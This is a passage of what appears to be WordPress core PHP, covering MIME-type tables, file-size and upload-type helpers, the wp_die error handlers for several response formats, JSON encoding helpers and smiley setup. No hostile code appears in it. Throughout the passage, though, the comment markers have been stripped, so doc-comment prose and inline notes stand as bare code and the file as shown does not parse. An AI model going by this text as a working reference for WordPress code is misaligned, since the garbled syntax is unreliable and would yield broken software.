'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12', 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote', 'oxps' => 'application/oxps', 'xps' => 'application/vnd.ms-xpsdocument', OpenOffice formats. 'odt' => 'application/vnd.oasis.opendocument.text', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odb' => 'application/vnd.oasis.opendocument.database', 'odf' => 'application/vnd.oasis.opendocument.formula', WordPerfect formats. 'wp|wpd' => 'application/wordperfect', iWork formats. 'key' => 'application/vnd.apple.keynote', 'numbers' => 'application/vnd.apple.numbers', 'pages' => 'application/vnd.apple.pages', ) ); } * * Retrieves the list of common file extensions and their types. * * @since 4.6.0 * * @return array[] Multi-dimensional array of file extensions types keyed by the type of file. function wp_get_ext_types() { * * Filters file type based on the extension name. * * @since 2.5.0 * * @see wp_ext2type() * * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file. return apply_filters( 'ext2type', array( 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'webp' ), 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ), 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ), 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ), 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ), 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ), 'text' => array( 'asc', 'csv', 'tsv', 'txt' ), 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ), 'code' => array( 'css', 'htm', 'html', 'php', 'js' ), ) ); } * * Wrapper for PHP filesize with filters and casting the result as an integer. * * @since 6.0.0 * * @link https:www.php.net/manual/en/function.filesize.php * * @param string $path Path to the file. * @return int The size of the file in bytes, or 0 in the event of an error. function wp_filesize( $path ) { * * Filters the result of wp_filesize before the PHP function is run. * * @since 6.0.0 * * @param null|int $size The unfiltered value. Returning an int from the callback bypasses the filesize call. * @param string $path Path to the file. $size = apply_filters( 'pre_wp_filesize', null, $path ); if ( is_int( $size ) ) { return $size; } $size = file_exists( $path ) ? (int) filesize( $path ) : 0; * * Filters the size of the file. * * @since 6.0.0 * * @param int $size The result of PHP filesize on the file. * @param string $path Path to the file. return (int) apply_filters( 'wp_filesize', $size, $path ); } * * Retrieves the list of allowed mime types and file extensions. * * @since 2.8.6 * * @param int|WP_User $user Optional. User to check. Defaults to current user. * @return string[] Array of mime types keyed by the file extension regex corresponding * to those types. function get_allowed_mime_types( $user = null ) { $t = wp_get_mime_types(); unset( $t['swf'], $t['exe'] ); if ( function_exists( 'current_user_can' ) ) { $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' ); } if ( empty( $unfiltered ) ) { unset( $t['htm|html'], $t['js'] ); } * * Filters the list of allowed mime types and file extensions. * * @since 2.0.0 * * @param array $t Mime types keyed by the file extension regex corresponding to those types. * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user). return apply_filters( 'upload_mimes', $t, $user ); } * * Displays "Are You Sure" message to confirm the action being taken. * * If the action has the nonce explain message, then it will be displayed * along with the "Are you sure?" message. * * @since 2.0.4 * * @param string $action The nonce action. function wp_nonce_ays( $action ) { Default title and response code. $title = __( 'Something went wrong.' ); $response_code = 403; if ( 'log-out' === $action ) { $title = sprintf( translators: %s: Site title. __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ); $redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; $html = $title; $html .= '</p><p>'; $html .= sprintf( translators: %s: Logout URL. __( 'Do you really want to <a href="%s">log out</a>?' ), wp_logout_url( $redirect_to ) ); } else { $html = __( 'The link you followed has expired.' ); if ( wp_get_referer() ) { $wp_http_referer = remove_query_arg( 'updated', wp_get_referer() ); $wp_http_referer = wp_validate_redirect( esc_url_raw( $wp_http_referer ) ); $html .= '</p><p>'; $html .= sprintf( '<a href="%s">%s</a>', esc_url( $wp_http_referer ), __( 'Please try again.' ) ); } } wp_die( $html, $title, $response_code ); } * * Kills WordPress execution and displays HTML page with an error message. * * This function complements the `die()` PHP function. The difference is that * HTML will be displayed to the user. It is recommended to use this function * only when the execution should not continue any further. It is not recommended * to call this function very often, and try to handle as many errors as possible * silently or more gracefully. * * As a shorthand, the desired HTTP response code may be passed as an integer to * the `$title` parameter (the default title would apply) or the `$args` parameter. * * @since 2.0.4 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept * an integer to be used as the response code. * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added. * @since 5.3.0 The `$charset` argument was added. * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes() * in the default handler. * * @global WP_Query $wp_query WordPress Query object. * * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object, * and not an Ajax or XML-RPC request, the error's messages are used. * Default empty string. * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object, * error data with the key 'title' may be used to specify the title. * If `$title` is an integer, then it is treated as the response code. * Default empty string. * @param string|array|int $args { * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated * as the response code. Default empty array. * * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise. * @type string $link_url A URL to include a link to. Only works in combination with $link_text. * Default empty string. * @type string $link_text A label for the link to include. Only works in combination with $link_url. * Default empty string. * @type bool $back_link Whether to include a link to go back. Default false. * @type string $text_direction The text direction. This is only useful internally, when WordPress is still * loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'. * Default is the value of is_rtl(). * @type string $charset Character set of the HTML output. Default 'utf-8'. * @type string $code Error code to use. Default is 'wp_die', or the main error code if $message * is a WP_Error. * @type bool $exit Whether to exit the process after completion. Default true. * } function wp_die( $message = '', $title = '', $args = array() ) { global $wp_query; if ( is_int( $args ) ) { $args = array( 'response' => $args ); } elseif ( is_int( $title ) ) { $args = array( 'response' => $title ); $title = ''; } if ( wp_doing_ajax() ) { * * Filters the callback for killing WordPress execution for Ajax requests. * * @since 3.4.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' ); } elseif ( wp_is_json_request() ) { * * Filters the callback for killing WordPress execution for JSON requests. * * @since 5.1.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' ); } elseif ( defined( 'REST_REQUEST' ) && REST_REQUEST && wp_is_jsonp_request() ) { * * Filters the callback for killing WordPress execution for JSONP REST requests. * * @since 5.2.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' ); } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) { * * Filters the callback for killing WordPress execution for XML-RPC requests. * * @since 3.4.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' ); } elseif ( wp_is_xml_request() || isset( $wp_query ) && ( function_exists( 'is_feed' ) && is_feed() || function_exists( 'is_comment_feed' ) && is_comment_feed() || function_exists( 'is_trackback' ) && is_trackback() ) ) { * * Filters the callback for killing WordPress execution for XML requests. * * @since 5.2.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' ); } else { * * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests. * * @since 3.0.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_handler', '_default_wp_die_handler' ); } call_user_func( $callback, $message, $title, $args ); } * * Kills WordPress execution and displays HTML page with an error message. * * This is the default handler for wp_die(). If you want a custom one, * you can override this using the {@see 'wp_die_handler'} filter in wp_die(). * * @since 3.0.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _default_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( is_string( $message ) ) { if ( ! empty( $parsed_args['additional_errors'] ) ) { $message = array_merge( array( $message ), wp_list_pluck( $parsed_args['additional_errors'], 'message' ) ); $message = "<ul>\n\t\t<li>" . implode( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>"; } $message = sprintf( '<div class="wp-die-message">%s</div>', $message ); } $have_gettext = function_exists( '__' ); if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) { $link_url = $parsed_args['link_url']; if ( function_exists( 'esc_url' ) ) { $link_url = esc_url( $link_url ); } $link_text = $parsed_args['link_text']; $message .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>"; } if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) { $back_text = $have_gettext ? __( '« Back' ) : '« Back'; $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>"; } if ( ! did_action( 'admin_head' ) ) : if ( ! headers_sent() ) { header( "Content-Type: text/html; charset={$parsed_args['charset']}" ); status_header( $parsed_args['response'] ); nocache_headers(); } $text_direction = $parsed_args['text_direction']; $dir_attr = "dir='$text_direction'"; If `text_direction` was not explicitly passed, use get_language_attributes() if available. if ( empty( $args['text_direction'] ) && function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) { $dir_attr = get_language_attributes(); } ?> <!DOCTYPE html> <html <?php echo $dir_attr; ?>> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $parsed_args['charset']; ?>" /> <meta name="viewport" content="width=device-width"> <?php if ( function_exists( 'wp_robots' ) && function_exists( 'wp_robots_no_robots' ) && function_exists( 'add_filter' ) ) { add_filter( 'wp_robots', 'wp_robots_no_robots' ); wp_robots(); } ?> <title><?php echo $title; ?></title> <style type="text/css"> html { background: #f1f1f1; } body { background: #fff; border: 1px solid #ccd0d4; color: #444; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; margin: 2em auto; padding: 1em 2em; max-width: 700px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); } h1 { border-bottom: 1px solid #dadada; clear: both; color: #666; font-size: 24px; margin: 30px 0 0 0; padding: 0; padding-bottom: 7px; } #error-page { margin-top: 50px; } #error-page p, #error-page .wp-die-message { font-size: 14px; line-height: 1.5; margin: 25px 0 20px; } #error-page code { font-family: Consolas, Monaco, monospace; } ul li { margin-bottom: 10px; font-size: 14px ; } a { color: #0073aa; } a:hover, a:active { color: #006799; } a:focus { color: #124964; -webkit-box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); outline: none; } .button { background: #f3f5f6; border: 1px solid #016087; color: #016087; display: inline-block; text-decoration: none; font-size: 13px; line-height: 2; height: 28px; margin: 0; padding: 0 10px 1px; cursor: pointer; -webkit-border-radius: 3px; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; vertical-align: top; } .button.button-large { line-height: 2.30769231; min-height: 32px; padding: 0 12px; } .button:hover, .button:focus { background: #f1f1f1; } .button:focus { background: #f3f5f6; border-color: #007cba; -webkit-box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px #007cba; color: #016087; outline: 2px solid transparent; outline-offset: 0; } .button:active { background: #f3f5f6; border-color: #7e8993; -webkit-box-shadow: none; box-shadow: none; } <?php if ( 'rtl' === $text_direction ) { echo 'body { font-family: Tahoma, Arial; }'; } ?> </style> </head> <body id="error-page"> <?php endif; ! did_action( 'admin_head' ) ?> <?php echo $message; ?> </body> </html> <?php if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays Ajax response with an error message. * * This is the handler for wp_die() when processing Ajax requests. * * @since 3.4.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title (unused). Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _ajax_wp_die_handler( $message, $title = '', $args = array() ) { Set default 'response' to 200 for Ajax requests. $args = wp_parse_args( $args, array( 'response' => 200 ) ); list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { This is intentional. For backward-compatibility, support passing null here. if ( null !== $args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } if ( is_scalar( $message ) ) { $message = (string) $message; } else { $message = '0'; } if ( $parsed_args['exit'] ) { die( $message ); } echo $message; } * * Kills WordPress execution and displays JSON response with an error message. * * This is the handler for wp_die() when processing JSON requests. * * @since 5.1.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _json_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( ! headers_sent() ) { header( "Content-Type: application/json; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo wp_json_encode( $data ); if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays JSONP response with an error message. * * This is the handler for wp_die() when processing JSONP requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( ! headers_sent() ) { header( "Content-Type: application/javascript; charset={$parsed_args['charset']}" ); header( 'X-Content-Type-Options: nosniff' ); header( 'X-Robots-Tag: noindex' ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } $result = wp_json_encode( $data ); $jsonp_callback = $_GET['_jsonp']; echo '' . $jsonp_callback . '(' . $result . ')'; if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XMLRPC requests. * * @since 3.2.0 * @access private * * @global wp_xmlrpc_server $wp_xmlrpc_server * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) { global $wp_xmlrpc_server; list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { nocache_headers(); } if ( $wp_xmlrpc_server ) { $error = new IXR_Error( $parsed_args['response'], $message ); $wp_xmlrpc_server->output( $error->getXml() ); } if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XML requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _xml_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $message = htmlspecialchars( $message ); $title = htmlspecialchars( $title ); $xml = <<<EOD <error> <code>{$parsed_args['code']}</code> <title><![CDATA[{$title}]]></title> <message><![CDATA[{$message}]]></message> <data> <status>{$parsed_args['response']}</status> </data> </error> EOD; if ( ! headers_sent() ) { header( "Content-Type: text/xml; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo $xml; if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays an error message. * * This is the handler for wp_die() when processing APP requests. * * @since 3.4.0 * @since 5.1.0 Added the $title and $args parameters. * @access private * * @param string $message Optional. Response to print. Default empty string. * @param string $title Optional. Error title (unused). Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( $parsed_args['exit'] ) { if ( is_scalar( $message ) ) { die( (string) $message ); } die(); } if ( is_scalar( $message ) ) { echo (string) $message; } } * * Processes arguments passed to wp_die() consistently for its handlers. * * @since 5.1.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. * @return array { * Processed arguments. * * @type string $0 Error message. * @type string $1 Error title. * @type array $2 Arguments to control behavior. * } function _wp_die_process_input( $message, $title = '', $args = array() ) { $defaults = array( 'response' => 0, 'code' => '', 'exit' => true, 'back_link' => false, 'link_url' => '', 'link_text' => '', 'text_direction' => '', 'charset' => 'utf-8', 'additional_errors' => array(), ); $args = wp_parse_args( $args, $defaults ); if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) { if ( ! empty( $message->errors ) ) { $errors = array(); foreach ( (array) $message->errors as $error_code => $error_messages ) { foreach ( (array) $error_messages as $error_message ) { $errors[] = array( 'code' => $error_code, 'message' => $error_message, 'data' => $message->get_error_data( $error_code ), ); } } $message = $errors[0]['message']; if ( empty( $args['code'] ) ) { $args['code'] = $errors[0]['code']; } if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) { $args['response'] = $errors[0]['data']['status']; } if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) { $title = $errors[0]['data']['title']; } unset( $errors[0] ); $args['additional_errors'] = array_values( $errors ); } else { $message = ''; } } $have_gettext = function_exists( '__' ); The $title and these specific $args must always have a non-empty value. if ( empty( $args['code'] ) ) { $args['code'] = 'wp_die'; } if ( empty( $args['response'] ) ) { $args['response'] = 500; } if ( empty( $title ) ) { $title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error'; } if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) { $args['text_direction'] = 'ltr'; if ( function_exists( 'is_rtl' ) && is_rtl() ) { $args['text_direction'] = 'rtl'; } } if ( ! empty( $args['charset'] ) ) { $args['charset'] = _canonical_charset( $args['charset'] ); } return array( $message, $title, $args ); } * * Encodes a variable into JSON, with some sanity checks. * * @since 4.1.0 * @since 5.3.0 No longer handles support for PHP < 5.6. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $options Optional. Options to be passed to json_encode(). Default 0. * @param int $depth Optional. Maximum depth to walk through $data. Must be * greater than 0. Default 512. * @return string|false The JSON encoded string, or false if it cannot be encoded. function wp_json_encode( $data, $options = 0, $depth = 512 ) { $json = json_encode( $data, $options, $depth ); If json_encode() was successful, no need to do more sanity checking. if ( false !== $json ) { return $json; } try { $data = _wp_json_sanity_check( $data, $depth ); } catch ( Exception $e ) { return false; } return json_encode( $data, $options, $depth ); } * * Performs sanity checks on data that shall be encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see wp_json_encode() * * @throws Exception If depth limit is reached. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $depth Maximum depth to walk through $data. Must be greater than 0. * @return mixed The sanitized data that shall be encoded to JSON. function _wp_json_sanity_check( $data, $depth ) { if ( $depth < 0 ) { throw new Exception( 'Reached depth limit' ); } if ( is_array( $data ) ) { $output = array(); foreach ( $data as $id => $el ) { Don't forget to sanitize the ID! if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } Check the element type, so that we're only recursing if we really have to. if ( is_array( $el ) || is_object( $el ) ) { $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output[ $clean_id ] = _wp_json_convert_string( $el ); } else { $output[ $clean_id ] = $el; } } } elseif ( is_object( $data ) ) { $output = new stdClass(); foreach ( $data as $id => $el ) { if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } if ( is_array( $el ) || is_object( $el ) ) { $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output->$clean_id = _wp_json_convert_string( $el ); } else { $output->$clean_id = $el; } } } elseif ( is_string( $data ) ) { return _wp_json_convert_string( $data ); } else { return $data; } return $output; } * * Converts a string to UTF-8, so that it can be safely encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see _wp_json_sanity_check() * * @param string $input_string The string which is to be converted. * @return string The checked string. function _wp_json_convert_string( $input_string ) { static $use_mb = null; if ( is_null( $use_mb ) ) { $use_mb = function_exists( 'mb_convert_encoding' ); } if ( $use_mb ) { $encoding = mb_detect_encoding( $input_string, mb_detect_order(), true ); if ( $encoding ) { return mb_convert_encoding( $input_string, 'UTF-8', $encoding ); } else { return mb_convert_encoding( $input_string, 'UTF-8', 'UTF-8' ); } } else { return wp_check_invalid_utf8( $input_string, true ); } } * * Prepares response data to be serialized to JSON. * * This supports the JsonSerializable interface for PHP 5.2-5.3 as well. * * @ignore * @since 4.4.0 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3 * has been dropped. * @access private * * @param mixed $data Native representation. * @return bool|int|float|null|string|array Data ready for `json_encode()`. function _wp_json_prepare_data( $data ) { _deprecated_function( __FUNCTION__, '5.3.0' ); return $data; } * * Sends a JSON response back to an Ajax request. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $response Variable (usually an array or object) to encode as JSON, * then print and die. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. function wp_send_json( $response, $status_code = null, $options = 0 ) { if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { _doing_it_wrong( __FUNCTION__, sprintf( translators: 1: WP_REST_Response, 2: WP_Error __( 'Return a %1$s or %2$s object from your callback when using the REST API.' ), 'WP_REST_Response', 'WP_Error' ), '5.5.0' ); } if ( ! headers_sent() ) { header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) ); if ( null !== $status_code ) { status_header( $status_code ); } } echo wp_json_encode( $response, $options ); if ( wp_doing_ajax() ) { wp_die( '', '', array( 'response' => null, ) ); } else { die; } } * * Sends a JSON response back to an Ajax request, indicating success. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. function wp_send_json_success( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => true ); if ( isset( $data ) ) { $response['data'] = $data; } wp_send_json( $response, $status_code, $options ); } * * Sends a JSON response back to an Ajax request, indicating failure. * * If the `$data` parameter is a WP_Error object, the errors * within the object are processed and output as an array of error * codes and corresponding messages. All other types are output * without further processing. * * @since 3.5.0 * @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in. * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. function wp_send_json_error( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => false ); if ( isset( $data ) ) { if ( is_wp_error( $data ) ) { $result = array(); foreach ( $data->errors as $code => $messages ) { foreach ( $messages as $message ) { $result[] = array( 'code' => $code, 'message' => $message, ); } } $response['data'] = $result; } else { $response['data'] = $data; } } wp_send_json( $response, $status_code, $options ); } * * Checks that a JSONP callback is a valid JavaScript callback name. * * Only allows alphanumeric characters and the dot character in callback * function names. This helps to mitigate XSS attacks caused by directly * outputting user input. * * @since 4.6.0 * * @param string $callback Supplied JSONP callback function name. * @return bool Whether the callback function name is valid. function wp_check_jsonp_callback( $callback ) { if ( ! is_string( $callback ) ) { return false; } preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count ); return 0 === $illegal_char_count; } * * Reads and decodes a JSON file. * * @since 5.9.0 * * @param string $filename Path to the JSON file. * @param array $options { * Optional. Options to be used with `json_decode()`. * * @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays. * When `false`, JSON objects will be returned as objects. Default false. * } * * @return mixed Returns the value encoded in JSON in appropriate PHP type. * `null` is returned if the file is not found, or its content can't be decoded. function wp_json_file_decode( $filename, $options = array() ) { $result = null; $filename = wp_normalize_path( realpath( $filename ) ); if ( ! $filename ) { trigger_error( sprintf( translators: %s: Path to the JSON file. __( "File %s doesn't exist!" ), $filename ) ); return $result; } $options = wp_parse_args( $options, array( 'associative' => false ) ); $decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] ); if ( JSON_ERROR_NONE !== json_last_error() ) { trigger_error( sprintf( translators: 1: Path to the JSON file, 2: Error message. __( 'Error when decoding a JSON file at path %1$s: %2$s' ), $filename, json_last_error_msg() ) ); return $result; } return $decoded_file; } * * Retrieves the WordPress home page URL. * * If the constant named 'WP_HOME' exists, then it will be used and returned * by the function. This can be used to counter the redirection on your local * development environment. * * @since 2.2.0 * @access private * * @see WP_HOME * * @param string $url URL for the home location. * @return string Homepage location. function _config_wp_home( $url = '' ) { if ( defined( 'WP_HOME' ) ) { return untrailingslashit( WP_HOME ); } return $url; } * * Retrieves the WordPress site URL. * * If the constant named 'WP_SITEURL' is defined, then the value in that * constant will always be returned. This can be used for debugging a site * on your localhost while not having to change the database to your URL. * * @since 2.2.0 * @access private * * @see WP_SITEURL * * @param string $url URL to set the WordPress site location. * @return string The WordPress site URL. function _config_wp_siteurl( $url = '' ) { if ( defined( 'WP_SITEURL' ) ) { return untrailingslashit( WP_SITEURL ); } return $url; } * * Deletes the fresh site option. * * @since 4.7.0 * @access private function _delete_option_fresh_site() { update_option( 'fresh_site', '0' ); } * * Sets the localized direction for MCE plugin. * * Will only set the direction to 'rtl', if the WordPress locale has * the text direction set to 'rtl'. * * Fills in the 'directionality' setting, enables the 'directionality' * plugin, and adds the 'ltr' button to 'toolbar1', formerly * 'theme_advanced_buttons1' array keys. These keys are then returned * in the $mce_init (TinyMCE settings) array. * * @since 2.1.0 * @access private * * @param array $mce_init MCE settings array. * @return array Direction set for 'rtl', if needed by locale. function _mce_set_direction( $mce_init ) { if ( is_rtl() ) { $mce_init['directionality'] = 'rtl'; $mce_init['rtl_ui'] = true; if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) { $mce_init['plugins'] .= ',directionality'; } if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) { $mce_init['toolbar1'] .= ',ltr'; } } return $mce_init; } * * Converts smiley code to the icon graphic file equivalent. * * You can turn off smilies, by going to the write setting screen and unchecking * the box, or by setting 'use_smilies' option to false or removing the option. * * Plugins may override the default smiley list by setting the $wpsmiliestrans * to an array, with the key the code the blogger types in and the value the * image file. * * The $wp_smiliessearch global is for the regular expression and is set each * time the function is called. * * The full list of smilies can be found in the function and won't be listed in * the description. Probably should create a Codex page for it, so that it is * available. * * @global array $wpsmiliestrans * @global array $wp_smiliessearch * * @since 2.2.0 function smilies_init() { global $wpsmiliestrans, $wp_smiliessearch; Don't bother setting up smilies if they are disabled. if ( ! get_option( 'use_smilies' ) ) { return; } if ( ! isset( $wpsmiliestrans ) ) { $wpsmiliestrans = array( ':mrgreen:' => 'mrgreen.png', ':neutral:' => "\xf0\x9f\x98\x90", ':twisted:' => "\xf0\x9f\x98\x88", ':arrow:' => "\xe2\x9e\xa1", ':shock:' => "\xf0\x9f\x98\xaf", ':smile:' => "\xf0\x9f\x99\x82", ':???:' => "\xf0\x9f\x98\x95", ':cool:' => "\xf0\x9f\x98\x8e", ':evil:' => "\xf0\x9f\x91\xbf", ':grin:' => "\xf0\x9f\x98\x80", ':idea:' => "\xf0\x9f\x92\xa1", ':oops:' => "\xf0\x9f\x98\xb3", ':razz:' => "\xf0\x9f\x98\x9b", ':roll:' => "\xf0\x9f\x99\x84", ':wink:' => "\xf0\x9f\x98\x89", ':cry:' => "\xf0\x9f\x98\xa5", ':eek:' => "\xf0\x9f\x98\xae", ':lol:' => "\xf0\x9f\x98\x86", ':mad:' => "\xf0\x9f\x98\xa1", ':sad:' => 